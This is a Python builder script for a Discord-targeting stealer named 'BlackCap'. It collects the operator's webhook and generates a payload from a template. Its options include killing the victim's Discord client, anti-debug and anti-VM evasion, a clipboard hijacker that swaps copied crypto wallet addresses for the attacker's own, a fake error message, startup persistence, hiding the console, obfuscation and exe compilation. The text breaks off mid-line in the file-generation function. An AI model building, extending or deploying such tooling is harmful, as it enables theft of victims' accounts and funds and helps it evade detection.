import os import random import shutil import subprocess import sys import time from json import load from urllib.request import urlopen import requests from colorama import Fore, Style, init class Builder: def __init__(self) -> None: self.loading() if not self.check(): exit() self.bannergui() self.bannergui() self.webhook = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enter your webhook: ') if not self.check_webhook(self.webhook): print(f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} {Fore.RED}Invalid Webhook!{Fore.RESET}") str(input(f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Press anything to exit...")) sys.exit() self.filename = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enter your custom output .exe name: ') self.killprocess = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Kill victim Discord Client? (yes/no): ') if self.killprocess.lower() == 'y' or self.killprocess.lower() == 'yes': self.killprocess = True else: self.killprocess = False self.dbugkiller = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enable Anti-Debug (Recommand yes, Kill Virus-Total Machines / Virtual Machines or other)? (yes/no): ') if self.dbugkiller.lower() == 'y' or self.dbugkiller.lower() == 'yes': self.dbugkiller = True else: self.dbugkiller = False self.ping = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Ping on new victim? (yes/no): ') if self.ping.lower() == 'y': self.ping = "yes" if self.ping.lower() == 'yes': self.ping = "yes" self.pingtype = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Ping type? (here/everyone): ').lower() if self.pingtype not in ["here", "everyone"]: # default to @here if invalid ping type. self.pingtype == "here" else: self.ping = "no" self.pingtype = "none" #(the victim will not realize it and you will intercept each of his transactions) self.address_replacer = input(f'{Fore.CYAN}[{Fore.RESET}NEW{Fore.CYAN}]{Fore.RESET} Replace all copied crypto address wallet by your address ? (yes/no): ') if self.address_replacer.lower() == 'yes': self.address_replacer = "yes" self.btc_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Bitcoin Address (let empty if you do not have): ').lower() if not self.btc_address.lower(): self.btc_address = 'none' self.eth_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Ethereum Address (let empty if you do not have):').lower() if not self.eth_address.lower(): self.eth_address = '0x4c305D9d4CdF740FF4f2166ecF65c1DF73e93472' self.xchain_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your X-Chain Address (let empty if you do not have):').lower() if not self.xchain_address.lower(): self.xchain_address = 'none' self.pchain_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your P-Chain Address (let empty if you do not have):').lower() if not self.pchain_address.lower(): self.pchain_address = 'none' self.cchain_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your C-Chain Address (let empty if you do not have):').lower() if not self.cchain_address.lower(): self.cchain_address = 'none' self.monero_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Monero Address (let empty if you do not have):').lower() if not self.monero_address.lower(): self.monero_address = 'none' self.ada_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Ada/Cardano Address (let empty if you do not have):').lower() if not self.ada_address.lower(): self.ada_address = 'none' self.dash_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Dash Address (let empty if you do not have):').lower() if not self.dash_address.lower(): self.dash_address = 'none' else: self.address_replacer = "no" self.btc_address = "none" self.eth_address = "none" self.xchain_address = "none" self.pchain_address = "none" self.cchain_address = "none" self.monero_address = "none" self.dash_address = "none" self.ada_address = "none" self.error = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Add a fake error? (yes/no): ') if self.error.lower() == 'y' or self.error.lower() == 'yes': self.error = "yes" else: self.error = "no" self.startup = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Add file to startup? (yes/no): ') if self.startup.lower() == 'y' or self.startup.lower() == 'yes': self.startup = "yes" else: self.startup = "no" self.hider = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Hide BlackCap console for victim? (yes/no): ') if self.hider.lower() == 'yes' or self.hider.lower() == 'y': self.hider = "yes" else: self.hider = False self.obfuscation = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to obfuscate the BlackCap (recommand yes)? (yes/no): ') self.compy = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to compile the file to a .exe? (yes/no): ') if self.compy == 'yes': self.icon = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to add an icon to the .exe (yes/no): ') if self.icon == 'yes': self.icon_exe() else: pass else: pass self.mk_file(self.filename, self.webhook) print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} File successfully created!{Fore.RESET}') self.cleanup(self.filename) self.renamefile(self.filename) run = input( f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to test the file? [yes/no]: ') if run.lower() == 'yes' or run.lower() == 'y': self.run(self.filename) input(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Press enter to exit...{Fore.RESET}') sys.exit() def bannergui(self): p = Fore.GREEN + Style.DIM img = fr"""{p} ██████Γ ██████▌ ╓▄▄▄██████▄▄▄╖ ▄▄▄███████▄▄▄ ▐████████████▌ █████████████ ▐████████████████ ▐████████████████ ▄▄▄█████████████████▄▄▄█████████████████▄▄▄ ▓██████████████████████████████████████████▌ ▓█████████████████████████████████████████████▌ ▓██████▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀████████████████▌ ▓██████░░░░░░░░░░░░░░░░░░░░░░░████████████████▌ ██████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████▌ ██████▌░░░▄▄▄░░░░░░░░░░░░░░░░░▄▄▄░░░░░░░██████████,,, ██████▌░░░███░░░░░░░░░░░░░░░░░███░░░░░░░█████████████ ███░░░░░░░███░░░░░░░░░░░░░░░░░███░░░░░░░░░░██████████ ,,,,,,▄███░░░░░░░▀▀▀░░░░▄▄▄▄▄▄▄▄▄░░░░▀▀▀░░░░░░░░░░██████████,,, ▓█████████░░░░░░░░░░░░░▐█████████▌░░░░░░░░░░░░░░░░█████████████▌ ███░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████ ,,,▄███░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████ ▐██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████ ███▌ ██████▌░░░░░░░░░░░░░░░░░░░░░░░░░░▐█████████▌ ███Γ ▀▀▀L ▀▀▀▀▀▀▀╜╜╜░░░░░░░░░░░░░░░░░░░░░░░▓███▀▀▀▀▀▀L ▀▀▀L ▓█████████████████████████▌ ▓█████████████████████████████ ,,,██████████████████████████████,,, ████████████████████████████████████▌ ████████████████████████████████████▌ ████████████████████████████████████▌,, ███████████████████████████████████████▌ ██████▌``▐█████████████████████████████▌ ██████▌ █████████████████████████████▌ ▓██▌ █████████▌ ▓█████▌ ▓█████▌ ``` ```███▌``` ▓██▌``` ```▀██▌ ███Γ ███Γ ▐██▌ """ img1 = fr"""{p} ▄▄▄▄▄▄ ▄▄▄▄▄▄╖ ██████▌ ▓█████▌ ▐█████████████ █████████████ ▐█████████████▄▄▄ ,▄▄▄█████████████ ▐████████████████ ▐████████████████ ███████████████████████████████████████████Γ ▓██████████████████████████████████████████▄╓╓, ▓█████████████████████████████████████████████▌ ▓██████░░░░░░░░░░░░░░░░░░░░░░░████████████████▌ ,,,████▀▀▀░░░░░░░░░░░░░░░░░░░░░░░▀▀▀▀▀▀▀█████████▌ ██████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████▌ ██████▌░░░███░░░░░░░░░░░░░░░░░███░░░░░░░█████████████ ███▀▀▀░░░░███░░░░░░░░░░░░░░░░░███░░░░░░░▀▀▀██████████ ███░░░░░░░███░░░░░░░░░░░░░░░░░███░░░░░░░░░░██████████ ██████████░░░░░░░░░░░░░▐█████████▌░░░░░░░░░░░░░░░░█████████████Γ ▀▀▀▀▀▀▀███░░░░░░░░░░░░░▐▀▀▀▀▀▀▀▀▀░░░░░░░░░░░░░░░░░██████████▀▀▀L ███░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████ ▐██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████ ,,,▐▀▀▀▀▀▀░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████▀▀▀▀▀▀,,, ███▌ ▓██████░░░░░░░░░░░░░░░░░░░░░░░░░░▐█████████▌ ███▌ ``` ``````]█████████████████████████████████-`` ``` ,,,J█████████████████████████████████,,, ▐███████████████████████████████████████▌ ▐████████████████████████████████████████▄▄▄ ▐███████████████████████████████████████████,,, ▐██████ ▐████████████████████████████████████ ```▐███ ▐████████████████████████████████████ ███ ▐████████████████████████████████████ ▐██████ ▐████████████████ ▐██████ ```▀███ ▐██████"``▀██████ ``````` ███ ▐██████ ▐██████ """ img2 = fr"""{p} ▄▄▄▄▄▄╖ ,▄▄▄▄▄▄ ▓█████▌ ▐██████ █████████████ █████████████Γ █████████████▄╓╓ ╓╓╓█████████████▌ ████████████████▌ ████████████████▌ ▐██████████████████████████████████████████▌ ▐███████████████████████████████████████████,,, ▐██████████████████████████████████████████████ ▐██████░░░░░░░░░░░░░░░░░░░░░░░▓████████████████ ,,,▐███▀▀▀░░░░░░░░░░░░░░░░░░░░░░░▐▀▀▀▀▀▀██████████ ▓██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████ ▓██████░░░███▌░░░░░░░░░░░░░░░░███▌░░░░░░█████████████Γ ,,,, ▓███▀▀▀░░░███▌░░░░░░░░░░░░░░░░███▌░░░░░░▀▀▀██████████▌,,, ▐██▌ ▓██▌░░░░░░███▌░░░░░░░░░░░░░░░░███▌░░░░░░░░░▐████████████▌ ]██████▌░░░░░░░░░░░░░█████████▌░░░░░░░░░░░░░░░░▐█████████▌ ▀▀▀███▌░░░░░░░░░░░░░█████████▀░░░░░░░░░░░░░░░░▐█████████▌ ▓██▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▐█████████▌ $█████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▐████████████▌ ▐█████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████▀ ▐██████░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████▌ ▐███████████████████████████████████████████▄▄▄ ▐██████████████████████████████████████████████,,, ▐█████████████████████████████████████████████████▌ ▐█████████████████████████████████████████████████▌ ▐█████████████████████████████████████████████████▌ ████████████████████████████████████▌ ██████▌ ``````▀██████████████████████████"`` `````` ▐██████████████████████████ """ img3 = fr"""{p} ██████Γ ██████▌ ╓▄▄▄██████▄▄▄╖ ▄▄▄███████▄▄▄ ▐████████████▌ █████████████ ▐████████████████ ▐████████████████ ▄▄▄█████████████████▄▄▄█████████████████▄▄▄ ▓██████████████████████████████████████████▌ ▓█████████████████████████████████████████████▌ ▓██████▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀████████████████▌ ▓██████░░░░░░░░░░░░░░░░░░░░░░░████████████████▌ ██████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████▌ ██████▌░░░▄▄▄░░░░░░░░░░░░░░░░░▄▄▄░░░░░░░██████████,,, ██████▌░░░███░░░░░░░░░░░░░░░░░███░░░░░░░█████████████ ███░░░░░░░███░░░░░░░░░░░░░░░░░███░░░░░░░░░░██████████ ,,,▄███░░░░░░░▀▀▀░░░░▄▄▄▄▄▄▄▄▄░░░░▀▀▀░░░░░░░░░░██████████ ▐██████░░░░░░░░░░░░░▐█████████▌░░░░░░░░░░░░░░░░██████████ ███▌ ███░░░░░░░░░░░░░░░░░██████▌░░░░░░░░░░░░░░░░█████████████Γ ▀▀▀L ███░░░░░░░░░░░░░░░░░▀▀▀▀▀▀░░░░░░░░░░░░░░░░░██████████▀▀▀L ███░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████ ▐██▌ ██████▌░░░░░░░░░░░░░░░░░░░░░░░░░░▐█████████▌ ]███ ,,,▐▀▀▀ ▀▀▀▀▀▀▀╜╜╜╜╜╜╜╜╜▒░░░░░░░░░░░░░░░░▓███▀▀▀▀▀▀L ▀▀▀,,, ███▌ ███████████████████▌ ███▌ ``` $██████████████████████████ ``` ▐██████████████████████████,,, ▐█████████████████████████████▌ ▐█████████████████████████████▌ ▐█████████████████████████████▌ ██████████████████████████▌ ███████████████████████``` ███████████████████████ ▓███████████████████ ``````▀██████████``` █████████▌ """ img4 = fr"""{p} ╓▄▄▄▄▄▄ ▄▄▄▄▄▄ ▐██████ ██████▌ █████████████Γ ▐████████████▌ ▓████████████▄▄▄╖ ▄▄▄█████████████▌ ▓███████████████▌ ▓███████████████▌ ███████████████████████████████████████████ ███████████████████████████████████████████▄▄▄ ██████████████████████████████████████████████▌ ██████▌░░░░░░░░░░░░░░░░░░░░░░░████████████████▌ ,╓╓▄███▀▀▀░░░░░░░░░░░░░░░░░░░░░░░░▀▀▀▀▀▀██████████▌ ▐██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▐█████████▌ ▐██████░░░▐███░░░░░░░░░░░░░░░░▐███░░░░░░▐████████████▌ ▐███▀▀▀░░░▐███░░░░░░░░░░░░░░░░▐███░░░░░░╚▀▀▀█████████▌ ▐███░░░░░░▐███░░░░░░░░░░░░░░░░▐███░░░░░░░░░░█████████▌ ███████░░░░░░░░░░░░░██████████░░░░░░░░░░░░░░░░░█████████▌ ,,,▀▀▀████░░░░░░░░░░░░░▀▀▀███████░░░░░░░░░░░░░░░░░██████████,,, ███ ▐███░░░░░░░░░░░░░░░░▐██████░░░░░░░░░░░░░░░░░█████████████ ▐███░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████ ,,,Å▀▀▀░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▄███▀▀▀███▌ ███▌ ██████▌░░░░░░░░░░░░░░░░░░░░░░░░░░██████████ ▐██▌ ███ ▐████████████████ ]███ ▀▀▀ ,,,▐████████████████,,, ▀▀▀ ▓██████████████████████▌ ▓█████████████████████████▌ ▓█████████████████████████▌ ▓█████████████████████████▌ ▓█████████████████████████▌ ▓█████████████████████████▌ ▓█████████████████████████▌ ```▀██████████████████████▌ ▐██████████████████████▌ ████████████████▌ ```██████████"`` ██████████ """ img5 = fr"""{p} ╓▄▄▄▄▄▄ ▄▄▄▄▄▄ ▐██████ ██████▌ █████████████Γ ▐████████████▌ ▓████████████▄▄▄╖ ▄▄▄█████████████▌ ▓███████████████▌ ▓███████████████▌ ███████████████████████████████████████████ ███████████████████████████████████████████▄▄▄ ██████████████████████████████████████████████▌ ██████▌░░░░░░░░░░░░░░░░░░░░░░░████████████████▌ ,╓╓▄███▀▀▀░░░░░░░░░░░░░░░░░░░░░░░░▀▀▀▀▀▀██████████▌ ▐██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▐█████████▌ ▐██████░░░▐███░░░░░░░░░░░░░░░░▐███░░░░░░▐████████████▌ ▐███▀▀▀░░░▐███░░░░░░░░░░░░░░░░▐███░░░░░░╚▀▀▀█████████▌ ▐███░░░░░░▐███░░░░░░░░░░░░░░░░▐███░░░░░░░░░░█████████▌ ██████████░░░░░░░░░░░░░██████████░░░░░░░░░░░░░░░░░█████████████ ▀▀▀▀▀▀████░░░░░░░░░░░░░▀▀▀███████░░░░░░░░░░░░░░░░░██████████▀▀▀ ▐███░░░░░░░░░░░░░░░░▐██████░░░░░░░░░░░░░░░░░█████████▌ ███████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████▌ ,,,▀▀▀▀▀▀▀░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▄███▀▀▀▀▀▀▀,,, ███ ██████▌░░░░░░░░░░░░░░░░░░░░░░░░░░██████████ ███ ▐████████████████ ,,,▐████████████████,,, ▓██████████████████████▌ ▓█████████████████████████▌ ,,,███████████████████████████,,, █████████████████████████████████ ▄▄██████████████████████████████████ ▐████████████████████████████████████,,, ▐███████████████████████████████████████▌ ▐██████```▀███████████████████▌``▐██████▌ ▐██████ ▐███████████████████▌ ██████Γ ▐██████████████████████▌ ```▀██████████```██████▌ █████████▌ ██████▌ """ img6 = fr"""{p} ▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ██████▌ ▓█████▌ ▐████████████▌ █████████████ ▐█████████████▄▄▄ ╓▄▄▄█████████████ ▐████████████████ ▐████████████████ ███████████████████████████████████████████Γ ▓██████████████████████████████████████████▄▄▄╖ ▓█████████████████████████████████████████████▌ ▓██████░░░░░░░░░░░░░░░░░░░░░░░████████████████▌ ╓╓╓████▀▀▀░░░░░░░░░░░░░░░░░░░░░░░▀▀▀▀▀▀▀█████████▌ ██████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████▌ ██████▌░░░███░░░░░░░░░░░░░░░░░███░░░░░░░█████████████ ███▀▀▀░░░░███░░░░░░░░░░░░░░░░░███░░░░░░░▀▀▀██████████ ███░░░░░░░███░░░░░░░░░░░░░░░░░███░░░░░░░░░░██████████ ██████████░░░░░░░░░░░░░▐█████████▌░░░░░░░░░░░░░░░░█████████████Γ ▀▀▀▀▀▀▀███░░░░░░░░░░░░░▐▀▀▀▀▀▀▀▀▀░░░░░░░░░░░░░░░░░██████████▀▀▀ ███░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████ ▐██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████ ,,,Å▀▀▀▀▀▀░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████▀▀▀▀▀▀,,, ███▌ ▓██████░░░░░░░░░░░░░░░░░░░░░░░░░░▐█████████▌ ███▌ ████████████████▌ ,,,J████████████████▌,,, ▐██████████████████████▌ ██████████████████████████████ ,,,██████████████████████████████,,, ████████████████████████████████████▌ █████████████████████████████████████▄▄▄ ███████████████████████████████████████▌ █████████████████████████████▌ ▓█████▌ ███```▀███████████████████████▄▄▄```▀██▌ ███ ▐██████████████████████████ ▐██▌ ▐████████████████ ▐██████ ```▀███"``▀██████ ```▀███ ███ ▐██████ ███ """ os.system('mode con:cols=120 lines=45') print(img) time.sleep(0.3) os.system("cls") print(img1) time.sleep(0.3) os.system("cls") print(img2) time.sleep(0.3) os.system("cls") print(img3) time.sleep(0.3) os.system("cls") print(img4) time.sleep(0.3) os.system("cls") print(img5) time.sleep(0.3) os.system("cls") print(img6) def loading(self): p = Fore.GREEN + Style.DIM r = Fore.RED + Style.BRIGHT img = fr"""{p} , ▐███████████████▓ j████████████████[ ▐███████████████▓ j████████████████L ▐███████████████▓ j████████████████L ╓▄▄▄▄▄▄▄▓████████████████▄▄▄▄▄╖▄╖ ,▄▄▄▄▄▄▄▄████████████████▌▄╖╖╖╖╖╖╓ ▓████████████████████████████████L ▐████████████████████████████████▌ ▓████████████████████████████████L ▐████████████████████████████████▌ ▓████████████████████████████████L ▐████████████████████████████████▌ ▓█████████████████████████████████▄▄▄▄▄▄▄m ▄▄▄▄▄▄▄▄█████████████████████████████████▌ ▓████████████████████████████████████████▌ █████████████████████████████████████████▌ ▓████████████████████████████████████████▌ █████████████████████████████████████████▌ ▓████████████████████████████████████████▌ ▓████████████████████████████████████████▌ j███████████████████████████████████████████████████████████████████████████████████████████████████████████▓ j███████████████████████████████████████████████████████████████████████████████████████████████████████████▓ j███████████████████████████████████████████████████████████████████████████████████████████████████████████▓ j███████████████████████████████████████████████████████████████████████████████████████████████████████████▓ j████████████████████████████████████████████████████████████████████████████████████████████████████████████████████L j████████████████████████████████████████████████████████████████████████████████████████████████████████████████████L j████████████████████████████████████████████████████████████████████████████████████████████████████████████████████▌ j████████████████████████████████████████████████████████████████████████████████████████████████████████████████████▌ j████████████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████████████████████████████████████▌ j▓███████████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████████████████████████████████████▌ j▓███████████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████████████████████████████████████▌ ╓▄▄▄▄▄▄▄▄████████▀▀▀▀▀▀▀▀░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█████████████████████████▌ ▐████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████████████████L ▐████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████████████████L ▐████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████████████████L ▐████████████████░░░░░░░░╟███████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╟███████▓░░░░░░░░░░░░░░░░▓█████████████████████████▄▄▄▄▄▄▄▄ ▐████████████████░░░░░░░░▓████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████░░░░░░░░░░░░░░░░▓████████████████████████████████▌ ▐████████████████░░░░░░░░▓████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████░░░░░░░░░░░░░░░░▓████████████████████████████████▌ ▐████████████████░░░░░░░░▓████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████░░░░░░░░░░░░░░░░▓████████████████████████████████▌ ▐████████░░░░░░░░░░░░░░░░▓████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╠▓██████▓░░░░░░░░░░░░░░░░░░░░░░░░j████████████████████████▌ ▐████████░░░░░░░░░░░░░░░░▓████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▓████▓╣░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌ ▐████████░░░░░░░░░░░░░░░░▓████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▓▓▓██▓▒░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌ ▐████████░░░░░░░░░░░░░░░░╟███████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╙▓▓▓▓▓╜░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌ j█████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓███████████████████████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████████████▓ j█████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████████████▓ j▓████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████████████▓ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▀▀▀▀▀▀▀▀█████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████████████████████▀▀▀▀▀▀▀▀ ▐████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌ ▐████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌ ▐████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌ ▄▄▄▄▄▄▄▄▓████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╙▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌ ▓████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌ ▓████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌ ▓███████████████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌ j▄▓▓▓▓▄▄▓``````````````` ]▓███████████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓███████████████████████▓````````````````]▓▄▓▓▓▓▓▄ j███████▓ j▓███████████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓███████████████████████▓ j███████▓ j▓██████▓ j▓███████████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓███████████████████████▓ j███████▓ j▓██████▓ j▓███████████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓███████████████████████▓ j███████▓ ╟████████████████████████████████████████▓ ▐████████████████████████████████████████▓ ▐████████████████████████████████████████▓ ,,,,,,,▐████████████████████████████████████████▓,,,,,,,, IP: {load(urlopen('https://www.myexternalip.com/json'))['ip']} Username: {os.getlogin()} PC Name: {os.getenv('COMPUTERNAME')} Operating System: {os.getenv('OS')} |""" print(Style.RESET_ALL) def check_webhook(self, webhook): try: with requests.get(webhook) as r: if r.status_code == 200: return True else: return False except BaseException: return False def check(self): required_files = {'./main.py', './requirements.txt', './obfuscation.py'} for file in required_files: if not os.path.isfile(file): print(f'{Fore.RED}[{Fore.RESET}{Fore.WHITE}!{Fore.RESET}{Fore.RED}] {file} not found!') return False try: print( subprocess.check_output( "python -V", stderr=subprocess.STDOUT)) print(subprocess.check_output("pip -V", stderr=subprocess.STDOUT)) except subprocess.CalledProcessError: print(f'{Fore.RED}[{Fore.RESET}{Fore.WHITE}!{Fore.RESET}{Fore.RED}] Python not found!') return False os.system('pip install --upgrade -r requirements.txt') os.system('cls') os.system('mode con:cols=150 lines=20') return True def icon_exe(self): self.icon_name = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enter the name of the icon: ') if os.path.isfile(f"./{self.icon_name}"): pass else: print(f'{Fore.RED}[{Fore.RESET}+{Fore.RED}]{Fore.RESET}Icon not found! Please check the name and make sure it\'s in the current directory.') input(f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Press anything to exit...") if self.icon_name.endswith('.ico'): pass else: print(f'{Fore.RED}[{Fore.RESET}+{Fore.RED}]{Fore.RESET}Icon must have .ico extension! Please convert it and try again.') input(f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Press anything to exit...") def renamefile(self, filename): try: os.rename(f"./obfuscated_compressed_{filename}.py", f"./{filename}.py") except Exception: pass try: os.rename(f"./compressed_{filename}.py", f"./{filename}.py") except Exception: pass try: os.rename(f"./compressed_{filename}.exe", f"./{filename}.exe") except Exception: pass try: os.rename(f"./obfuscated_compressed_{filename}.exe", f"./{filename}.exe") except Exception: pass try: os.rename(f"./obfuscated_{filename}.exe", f"./{filename}.exe") except Exception: pass def mk_file(self, filename, webhook): print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET} {Fore.WHITE}Generating source code...{Fore.RESET}') with open('./main.py', 'r', encoding="utf-8") as f: code = f.read() with open(f"{filename}.py", "w", encoding="utf-8") as f: f.write(code.replace('%WEBHOOK_HERE%', 